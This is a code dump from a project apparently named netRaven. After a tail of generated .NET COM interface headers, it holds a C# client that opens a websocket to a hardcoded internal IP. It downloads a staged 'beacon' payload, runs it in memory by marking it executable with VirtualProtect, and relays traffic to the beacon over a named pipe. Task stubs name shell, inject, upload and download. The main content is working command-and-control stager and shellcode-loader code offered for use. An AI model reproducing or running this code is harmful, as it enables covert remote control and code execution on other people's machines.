* match, /*[in]*/ struct _Type * returnType, /*[in]*/ SAFEARRAY * indexes, /*[in]*/ SAFEARRAY * modifiers, /*[out,retval]*/ struct _PropertyInfo * * pRetVal ) = 0; virtual HRESULT __stdcall ChangeType ( /*[in]*/ VARIANT value, /*[in]*/ struct _Type * Type, /*[in]*/ struct _CultureInfo * culture, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall ReorderArgumentArray ( /*[in,out]*/ SAFEARRAY * * args, /*[in]*/ VARIANT state ) = 0; }; struct __declspec(uuid("62339172-dbfa-337b-8ac8-053b241e06ab")) ISerializationSurrogate : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetObjectData ( /*[in]*/ VARIANT obj, /*[in]*/ struct _SerializationInfo * info, /*[in]*/ struct StreamingContext Context ) = 0; virtual HRESULT __stdcall SetObjectData ( /*[in]*/ VARIANT obj, /*[in]*/ struct _SerializationInfo * info, /*[in]*/ struct StreamingContext Context, /*[in]*/ struct ISurrogateSelector * selector, /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("7c66ff18-a1a5-3e19-857b-0e7b6a9e3f38")) ISurrogateSelector : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall ChainSelector ( /*[in]*/ struct ISurrogateSelector * selector ) = 0; virtual HRESULT __stdcall GetSurrogate ( /*[in]*/ struct _Type * Type, /*[in]*/ struct StreamingContext Context, /*[out]*/ struct ISurrogateSelector * * selector, /*[out,retval]*/ struct ISerializationSurrogate * * pRetVal ) = 0; virtual HRESULT __stdcall GetNextSelector ( /*[out,retval]*/ struct ISurrogateSelector * * pRetVal ) = 0; }; struct __declspec(uuid("93d7a8c5-d2eb-319b-a374-a65d321f2aa9")) IFormatter : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Deserialize ( /*[in]*/ struct _Stream * serializationStream, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall Serialize ( /*[in]*/ struct _Stream * serializationStream, /*[in]*/ VARIANT graph ) = 0; virtual HRESULT __stdcall get_SurrogateSelector ( /*[out,retval]*/ struct ISurrogateSelector * * pRetVal ) = 0; virtual HRESULT __stdcall putref_SurrogateSelector ( /*[in]*/ struct ISurrogateSelector * pRetVal ) = 0; virtual HRESULT __stdcall get_Binder ( /*[out,retval]*/ struct _SerializationBinder * * pRetVal ) = 0; virtual HRESULT __stdcall putref_Binder ( /*[in]*/ struct _SerializationBinder * pRetVal ) = 0; virtual HRESULT __stdcall get_Context ( /*[out,retval]*/ struct StreamingContext * pRetVal ) = 0; virtual HRESULT __stdcall put_Context ( /*[in]*/ struct StreamingContext pRetVal ) = 0; }; struct __declspec(uuid("4a68baa3-27aa-314a-bdbb-6ae9bdfc0420")) IContextAttribute : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall IsContextOK ( /*[in]*/ struct _Context * ctx, /*[in]*/ struct IConstructionCallMessage * msg, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetPropertiesForNewContext ( /*[in]*/ struct IConstructionCallMessage * msg ) = 0; }; struct __declspec(uuid("c02bbb79-5aa8-390d-927f-717b7bff06a1")) IActivator : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_NextActivator ( /*[out,retval]*/ struct IActivator * * pRetVal ) = 0; virtual HRESULT __stdcall putref_NextActivator ( /*[in]*/ struct IActivator * pRetVal ) = 0; virtual HRESULT __stdcall Activate ( /*[in]*/ struct IConstructionCallMessage * msg, /*[out,retval]*/ struct IConstructionReturnMessage * * pRetVal ) = 0; virtual HRESULT __stdcall get_level ( /*[out,retval]*/ enum ActivatorLevel * pRetVal ) = 0; }; struct __declspec(uuid("fa28e3af-7d09-31d5-beeb-7f2626497cde")) IConstructionCallMessage : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Activator ( /*[out,retval]*/ struct IActivator * * pRetVal ) = 0; virtual HRESULT __stdcall putref_Activator ( /*[in]*/ struct IActivator * pRetVal ) = 0; virtual HRESULT __stdcall get_CallSiteActivationAttributes ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall get_ActivationTypeName ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_ActivationType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_ContextProperties ( /*[out,retval]*/ struct IList * * pRetVal ) = 0; }; struct __declspec(uuid("7197b56b-5fa1-31ef-b38b-62fee737277f")) IContextPropertyActivator : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall IsOKToActivate ( /*[in]*/ struct IConstructionCallMessage * msg, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall CollectFromClientContext ( /*[in]*/ struct IConstructionCallMessage * msg ) = 0; virtual HRESULT __stdcall DeliverClientContextToServerContext ( /*[in]*/ struct IConstructionCallMessage * msg, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall CollectFromServerContext ( /*[in]*/ struct IConstructionReturnMessage * msg ) = 0; virtual HRESULT __stdcall DeliverServerContextToClientContext ( /*[in]*/ struct IConstructionReturnMessage * msg, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("3a5fde6b-db46-34e8-bacd-16ea5a440540")) IClientChannelSinkStack : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Push ( /*[in]*/ struct IClientChannelSink * sink, /*[in]*/ VARIANT state ) = 0; virtual HRESULT __stdcall Pop ( /*[in]*/ struct IClientChannelSink * sink, /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("ff726320-6b92-3e6c-aaac-f97063d0b142")) IClientChannelSink : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall ProcessMessage ( /*[in]*/ struct IMessage * msg, /*[in]*/ struct ITransportHeaders * requestHeaders, /*[in]*/ struct _Stream * requestStream, /*[out]*/ struct ITransportHeaders * * responseHeaders, /*[out]*/ struct _Stream * * responseStream ) = 0; virtual HRESULT __stdcall AsyncProcessRequest ( /*[in]*/ struct IClientChannelSinkStack * sinkStack, /*[in]*/ struct IMessage * msg, /*[in]*/ struct ITransportHeaders * headers, /*[in]*/ struct _Stream * Stream ) = 0; virtual HRESULT __stdcall AsyncProcessResponse ( /*[in]*/ struct IClientResponseChannelSinkStack * sinkStack, /*[in]*/ VARIANT state, /*[in]*/ struct ITransportHeaders * headers, /*[in]*/ struct _Stream * Stream ) = 0; virtual HRESULT __stdcall GetRequestStream ( /*[in]*/ struct IMessage * msg, /*[in]*/ struct ITransportHeaders * headers, /*[out,retval]*/ struct _Stream * * pRetVal ) = 0; virtual HRESULT __stdcall get_NextChannelSink ( /*[out,retval]*/ struct IClientChannelSink * * pRetVal ) = 0; }; struct __declspec(uuid("3f8742c2-ac57-3440-a283-fe5ff4c75025")) IClientChannelSinkProvider : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall CreateSink ( /*[in]*/ struct IChannelSender * channel, /*[in]*/ BSTR Url, /*[in]*/ VARIANT remoteChannelData, /*[out,retval]*/ struct IClientChannelSink * * pRetVal ) = 0; virtual HRESULT __stdcall get_Next ( /*[out,retval]*/ struct IClientChannelSinkProvider * * pRetVal ) = 0; virtual HRESULT __stdcall putref_Next ( /*[in]*/ struct IClientChannelSinkProvider * pRetVal ) = 0; }; struct __declspec(uuid("e694a733-768d-314d-b317-dcead136b11d")) IServerChannelSinkStack : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Push ( /*[in]*/ struct IServerChannelSink * sink, /*[in]*/ VARIANT state ) = 0; virtual HRESULT __stdcall Pop ( /*[in]*/ struct IServerChannelSink * sink, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall Store ( /*[in]*/ struct IServerChannelSink * sink, /*[in]*/ VARIANT state ) = 0; virtual HRESULT __stdcall StoreAndDispatch ( /*[in]*/ struct IServerChannelSink * sink, /*[in]*/ VARIANT state ) = 0; virtual HRESULT __stdcall ServerCallback ( /*[in]*/ struct IAsyncResult * ar ) = 0; }; struct __declspec(uuid("21b5f37b-bef3-354c-8f84-0f9f0863f5c5")) IServerChannelSink : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall ProcessMessage ( /*[in]*/ struct IServerChannelSinkStack * sinkStack, /*[in]*/ struct IMessage * requestMsg, /*[in]*/ struct ITransportHeaders * requestHeaders, /*[in]*/ struct _Stream * requestStream, /*[out]*/ struct IMessage * * responseMsg, /*[out]*/ struct ITransportHeaders * * responseHeaders, /*[out]*/ struct _Stream * * responseStream, /*[out,retval]*/ enum ServerProcessing * pRetVal ) = 0; virtual HRESULT __stdcall AsyncProcessResponse ( /*[in]*/ struct IServerResponseChannelSinkStack * sinkStack, /*[in]*/ VARIANT state, /*[in]*/ struct IMessage * msg, /*[in]*/ struct ITransportHeaders * headers, /*[in]*/ struct _Stream * Stream ) = 0; virtual HRESULT __stdcall GetResponseStream ( /*[in]*/ struct IServerResponseChannelSinkStack * sinkStack, /*[in]*/ VARIANT state, /*[in]*/ struct IMessage * msg, /*[in]*/ struct ITransportHeaders * headers, /*[out,retval]*/ struct _Stream * * pRetVal ) = 0; virtual HRESULT __stdcall get_NextChannelSink ( /*[out,retval]*/ struct IServerChannelSink * * pRetVal ) = 0; }; struct __declspec(uuid("7dd6e975-24ea-323c-a98c-0fde96f9c4e6")) IServerChannelSinkProvider : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetChannelData ( /*[in]*/ struct IChannelDataStore * ChannelData ) = 0; virtual HRESULT __stdcall CreateSink ( /*[in]*/ struct IChannelReceiver * channel, /*[out,retval]*/ struct IServerChannelSink * * pRetVal ) = 0; virtual HRESULT __stdcall get_Next ( /*[out,retval]*/ struct IServerChannelSinkProvider * * pRetVal ) = 0; virtual HRESULT __stdcall putref_Next ( /*[in]*/ struct IServerChannelSinkProvider * pRetVal ) = 0; }; struct __declspec(uuid("3a02d3f7-3f40-3022-853d-cfda765182fe")) IChannelReceiverHook : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ChannelScheme ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_WantsToListen ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_ChannelSinkChain ( /*[out,retval]*/ struct IServerChannelSink * * pRetVal ) = 0; virtual HRESULT __stdcall AddHookChannelUri ( /*[in]*/ BSTR channelUri ) = 0; }; struct __declspec(uuid("675591af-0508-3131-a7cc-287d265ca7d6")) ISponsor : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Renewal ( /*[in]*/ struct ILease * lease, /*[out,retval]*/ struct TimeSpan * pRetVal ) = 0; }; struct __declspec(uuid("53a561f2-cbbf-3748-bffe-2180002db3df")) ILease : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Register ( /*[in]*/ struct ISponsor * obj, /*[in]*/ struct TimeSpan renewalTime ) = 0; virtual HRESULT __stdcall Register_2 ( /*[in]*/ struct ISponsor * obj ) = 0; virtual HRESULT __stdcall Unregister ( /*[in]*/ struct ISponsor * obj ) = 0; virtual HRESULT __stdcall Renew ( /*[in]*/ struct TimeSpan renewalTime, /*[out,retval]*/ struct TimeSpan * pRetVal ) = 0; virtual HRESULT __stdcall get_RenewOnCallTime ( /*[out,retval]*/ struct TimeSpan * pRetVal ) = 0; virtual HRESULT __stdcall put_RenewOnCallTime ( /*[in]*/ struct TimeSpan pRetVal ) = 0; virtual HRESULT __stdcall get_SponsorshipTimeout ( /*[out,retval]*/ struct TimeSpan * pRetVal ) = 0; virtual HRESULT __stdcall put_SponsorshipTimeout ( /*[in]*/ struct TimeSpan pRetVal ) = 0; virtual HRESULT __stdcall get_InitialLeaseTime ( /*[out,retval]*/ struct TimeSpan * pRetVal ) = 0; virtual HRESULT __stdcall put_InitialLeaseTime ( /*[in]*/ struct TimeSpan pRetVal ) = 0; virtual HRESULT __stdcall get_CurrentLeaseTime ( /*[out,retval]*/ struct TimeSpan * pRetVal ) = 0; virtual HRESULT __stdcall get_CurrentState ( /*[out,retval]*/ enum LeaseState * pRetVal ) = 0; }; } // namespace mscorlib #pragma pack(pop) ================================================ FILE: client/netRaven/Raven/stdafx.cpp ================================================ // stdafx.cpp : source file that includes just the standard includes // Raven.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information #include "stdafx.h" // TODO: reference any additional headers you need in STDAFX.H // and not in this file ================================================ FILE: client/netRaven/Raven/stdafx.h ================================================ // stdafx.h : include file for standard system include files, // or project specific include files that are used frequently, but // are changed infrequently // #pragma once #include "targetver.h" #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers // Windows Header Files: #include // TODO: reference additional headers your program requires here ================================================ FILE: client/netRaven/Raven/targetver.h ================================================ #pragma once // Including SDKDDKVer.h defines the highest available Windows platform. // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. #include ================================================ FILE: client/netRaven/Raven/utils.hpp ================================================ #pragma once /* MIT License Copyright (c) 2017 Aaron Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #ifdef _DEBUG #include #define LOG(x) do {std::fstream f("LOG.txt", std::ios::app); f << __FILE__ << " : " << __LINE__ << " - " << x << std::endl; f.close();} while(0) #define LOG_ERROR(x, y) do {std::fstream f("LOG.txt", std::ios::app); f << __FILE__ << " : " << __LINE__ << " - " << x << " - 0x" << std::hex << y << std::endl; f.close();} while(0) #define EXCEPT(x) std::runtime_error(x) #else #define LOG(x) __LINE__ #define EXCEPT(x) std::runtime_error(std::to_string(__LINE__)) #define LOG_ERROR(x, y) (void*)0 #endif ================================================ FILE: client/netRaven/netRaven/Core.cs ================================================ using System; using System.Text; using System.IO.Pipes; using System.IO; using System.Threading; using WebSocket4Net; using System.Web.Script.Serialization; using System.Collections.Generic; namespace netRaven { public class Core { // Starts netRaven private static string agentID = Guid.NewGuid().ToString(); private static bool bacon = false; private static bool dataAvailable = false; private static JavaScriptSerializer ser = new JavaScriptSerializer(new SimpleTypeResolver()); private static config configuration = new config(); private static NamedPipeClientStream client = new NamedPipeClientStream(".", configuration.pipeName, PipeDirection.InOut); private static WebSocket socket; private static int max_buffer_size = 1024 * 1024; // Method to start netRaven public static void Run(string throwaway) { #if DEBUG Console.WriteLine("Obtained raven configuration from the embedded resource"); #endif // Establish a connection to the websocket server socket = new WebSocket(configuration.server); // Setup the event handlers socket.Opened += new EventHandler(on_open); socket.Error += new EventHandler(on_error); socket.Closed += new EventHandler(on_closed); socket.MessageReceived += new EventHandler(on_receive); socket.AllowUnstrustedCertificate = true; socket.Open(); while (socket.State == WebSocketState.Connecting && socket.State != WebSocketState.Open) { Thread.Sleep(1000); } // If auto is true, send a stage request if (configuration.auto) { RavenUpgrade(); } //Thread.Sleep(30000); while (socket.State == WebSocketState.Open) { // If beacon is active, connected, and there is data available to read. if (bacon && client.IsConnected && dataAvailable) { byte[] buf = new byte[max_buffer_size]; int read = readFrame(client, ref buf); dataAvailable = false; if (read < 0) { bacon = false; continue; } byte[] frame = new byte[4 + read]; byte[] size = BitConverter.GetBytes(read); Buffer.BlockCopy(size, 0, frame, 0, size.Length); Buffer.BlockCopy(buf, 0, frame, size.Length, read); RavenMessage newMsg = new RavenMessage(); newMsg.msgType = (int)MsgType.beacon; newMsg.length = frame.Length; newMsg.data = Convert.ToBase64String(frame); string jsonMsg = ser.Serialize(newMsg); socket.Send(jsonMsg); } Thread.Sleep(1000); } // Clean up and exit client.Close(); client.Dispose(); Environment.Exit(0); } public static void RavenUpgrade() { string arch = ""; // Send the stage request if (IntPtr.Size == 8) arch = "x64"; else arch = "x86"; byte[] stageReq = Encoding.ASCII.GetBytes(agentID + ":" + arch + ":" + configuration.pipeName + ":" + configuration.block.ToString()); #if DEBUG Console.WriteLine("Sending stage request to server"); #endif string encData = Convert.ToBase64String(stageReq); RavenMessage newMsg = new RavenMessage(); newMsg.msgType = (int)MsgType.stage; newMsg.length = encData.Length; newMsg.data = encData; // Serialize the class into json string jsonString = ser.Serialize(newMsg); // Send to the contoller socket.Send(jsonString); } private static void on_receive(object sender, MessageReceivedEventArgs e) { // Process every message received // Serialize the string into a RavenMessage object RavenMessage msg = ser.Deserialize(e.Message); MsgType t = (MsgType)msg.msgType; switch (t) { case MsgType.stage: byte[] payload = Convert.FromBase64String(msg.data); if (payload.Length > 1) { //Trim the frame header payload = new List(payload).GetRange(4, payload.Length - 4).ToArray(); #if DEBUG File.WriteAllBytes("C:\\Windows\\Tasks\\smb_beacon.dll", payload); Console.WriteLine("Beacon payload written to: C:\\Windows\\Tasks\\smb_beacon.dll"); #endif Loader ldr = new Loader(payload); Thread beaconThread = new Thread(() => { ldr.LoadInCurrentProcess(); }); beaconThread.Start(); ConnectToBeacon(); dataAvailable = true; } break; case MsgType.beacon: byte[] frame = Convert.FromBase64String(msg.data); writeFrame(client, frame); dataAvailable = true; break; case MsgType.task: break; case MsgType.key: break; default: break; } } private static void on_error(object sender, SuperSocket.ClientEngine.ErrorEventArgs e) { #if DEBUG Console.WriteLine("Received error from the raven server: " + e.Exception.Message); #endif } private static void on_open(object sender, EventArgs e) { } private static void on_closed(object sender, EventArgs e) { } private static void ConnectToBeacon() { try { client.Connect(5000); bacon = true; } catch (Exception e) { #if DEBUG Console.WriteLine("Unable to connect to beacon: " + e.ToString()); #endif bacon = false; } } private static int readFrame(NamedPipeClientStream pipe, ref byte[] buffer) { byte[] size = new byte[4]; int bytesRead = 0; int total = 0; bytesRead = pipe.Read(size, 0, 4); int numSize = BitConverter.ToInt32(size, 0); while (total < numSize) { bytesRead = pipe.Read(buffer, total, numSize - total); total += bytesRead; Thread.Sleep(100); } return numSize; } private static void writeFrame(NamedPipeClientStream pipe, byte[] buffer) { pipe.Write(buffer, 0, 4); pipe.Write(buffer, 4, buffer.Length - 4); } } public class config { public string server; public string pipeName; public int block; public bool auto; public config() { auto = (bool)Properties.Resources.ResourceManager.GetObject("auto"); block = (int)Properties.Resources.ResourceManager.GetObject("block"); pipeName = Properties.Resources.ResourceManager.GetString("pipename"); server = Properties.Resources.ResourceManager.GetString("server"); } } public enum MsgType { stage = 1, beacon = 2, task = 3, key = 4 } public class RavenMessage { public int msgType; public int length; public string data; } } ================================================ FILE: client/netRaven/netRaven/Crypto.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace netRaven { public class Crypto { // TODO: Implement crypto for non-beacon messages } } ================================================ FILE: client/netRaven/netRaven/Loader.cs ================================================ using System; using System.Reflection; using System.Reflection.Emit; using System.Runtime.InteropServices; using System.Security; namespace netRaven { public class Loader { public Loader(byte[] payload, int processId = 0) { _bytes = payload; _pid = processId; } public void LoadInCurrentProcess() { try { // Load and Execute beacon GCHandle pinnedArray = GCHandle.Alloc(_bytes, GCHandleType.Pinned); IntPtr funcAddr = pinnedArray.AddrOfPinnedObject(); Marshal.Copy(_bytes, 0, funcAddr, _bytes.Length); uint flOldProtect; VirtualProtect(funcAddr, (UIntPtr)_bytes.Length, 0x40, out flOldProtect); runD del = (runD)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(runD)); del(); return; } catch (Exception e) { #if DEBUG Console.WriteLine("Error loading beacon " + e.ToString()); #endif return; } } [DllImport("kernel32.dll")] private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)] public delegate Int32 runD(); public void LoadInRemoteProcess() { // TODO: Load in remote process via OpenProcess, VirtualAlloc, WriteProcess, NtCreateThread/CreateThread } private static byte[] _bytes; private static int _pid; } } ================================================ FILE: client/netRaven/netRaven/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("netRaven")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("netRaven")] [assembly: AssemblyCopyright("Copyright © 2018")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("987db73a-e387-4d58-92c0-e4212ebbdd2f")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: client/netRaven/netRaven/Properties/Resources.Designer.cs ================================================ //------------------------------------------------------------------------------ // // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // //------------------------------------------------------------------------------ namespace netRaven.Properties { using System; /// /// A strongly-typed resource class, for looking up localized strings, etc. /// // This class was auto-generated by the StronglyTypedResourceBuilder // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// /// Returns the cached ResourceManager instance used by this class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("netRaven.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } } } ================================================ FILE: client/netRaven/netRaven/Properties/Resources.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ws://172.16.79.160:80/ws Test_GLjF 100 True ================================================ FILE: client/netRaven/netRaven/TaskHandler.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using System.Runtime.InteropServices; namespace netRaven { public class TaskHandler { public enum TaskType { exit = 0, shell = 1, processlist = 2, download = 3, upload = 4, inject = 5, upgrade = 6 } public static void handleTask(TaskType t, byte[] taskData) { // TODO: Implement task handling logic switch (t) { case TaskType.exit: break; case TaskType.shell: break; case TaskType.processlist: break; case TaskType.download: break; case TaskType.upload: break; case TaskType.inject: break; case TaskType.upgrade: break; default: break; } } } } ================================================ FILE: client/netRaven/netRaven/netRaven.csproj ================================================  Debug AnyCPU {987DB73A-E387-4D58-92C0-E4212EBBDD2F} Library Properties netRaven netRaven v3.5 512 true full false bin\Debug\ DEBUG;TRACE prompt 4 pdbonly true bin\Release\ TRACE prompt 4 true bin\x64\Debug\ DEBUG;TRACE full x64 prompt MinimumRecommendedRules.ruleset bin\x64\Release\ TRACE true pdbonly x64 prompt MinimumRecommendedRules.ruleset true bin\x86\Debug\ DEBUG;TRACE full x86 prompt MinimumRecommendedRules.ruleset bin\x86\Release\ TRACE true pdbonly x86 prompt MinimumRecommendedRules.ruleset ..\packages\SuperSocket.ClientEngine.Core.0.10.0\lib\net35-client\SuperSocket.ClientEngine.dll True ..\packages\WebSocket4Net.0.15.2\lib\net35\WebSocket4Net.dll True True True Resources.resx ResXFileCodeGenerator Resources.Designer.cs ..\ This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. powershell.exe -Command "Import-Module $(SolutionDir)\New-RavenHeader.ps1; New-RavenHeader -AssemblyPath $(TargetPath) | Out-File -FilePath $(SolutionDir)\Raven\netRaven_dll.hpp -Force" ================================================ FILE: client/netRaven/netRaven/packages.config ================================================  ================================================ FILE: client/netRaven/netRaven.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 14 VisualStudioVersion = 14.0.25420.1 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "netRaven", "netRaven\netRaven.csproj", "{987DB73A-E387-4D58-92C0-E4212EBBDD2F}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ravenDebug", "ravenDebug\ravenDebug.csproj", "{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}" ProjectSection(ProjectDependencies) = postProject {987DB73A-E387-4D58-92C0-E4212EBBDD2F} = {987DB73A-E387-4D58-92C0-E4212EBBDD2F} EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Raven", "Raven\Raven.vcxproj", "{CD4CC899-F931-4A5D-8B43-099F647C6127}" ProjectSection(ProjectDependencies) = postProject {987DB73A-E387-4D58-92C0-E4212EBBDD2F} = {987DB73A-E387-4D58-92C0-E4212EBBDD2F} EndProjectSection EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|Any CPU = Release|Any CPU Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|Any CPU.Build.0 = Debug|Any CPU {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|x64.ActiveCfg = Debug|x64 {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|x64.Build.0 = Debug|x64 {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|x86.ActiveCfg = Debug|Any CPU {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Debug|x86.Build.0 = Debug|Any CPU {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|Any CPU.ActiveCfg = Release|Any CPU {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|Any CPU.Build.0 = Release|Any CPU {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|x64.ActiveCfg = Release|x64 {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|x64.Build.0 = Release|x64 {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|x86.ActiveCfg = Release|x86 {987DB73A-E387-4D58-92C0-E4212EBBDD2F}.Release|x86.Build.0 = Release|x86 {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|Any CPU.Build.0 = Debug|Any CPU {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|x64.ActiveCfg = Debug|Any CPU {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|x64.Build.0 = Debug|Any CPU {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|x86.ActiveCfg = Debug|Any CPU {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Debug|x86.Build.0 = Debug|Any CPU {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|Any CPU.ActiveCfg = Release|Any CPU {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|Any CPU.Build.0 = Release|Any CPU {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|x64.ActiveCfg = Release|Any CPU {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|x64.Build.0 = Release|Any CPU {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|x86.ActiveCfg = Release|Any CPU 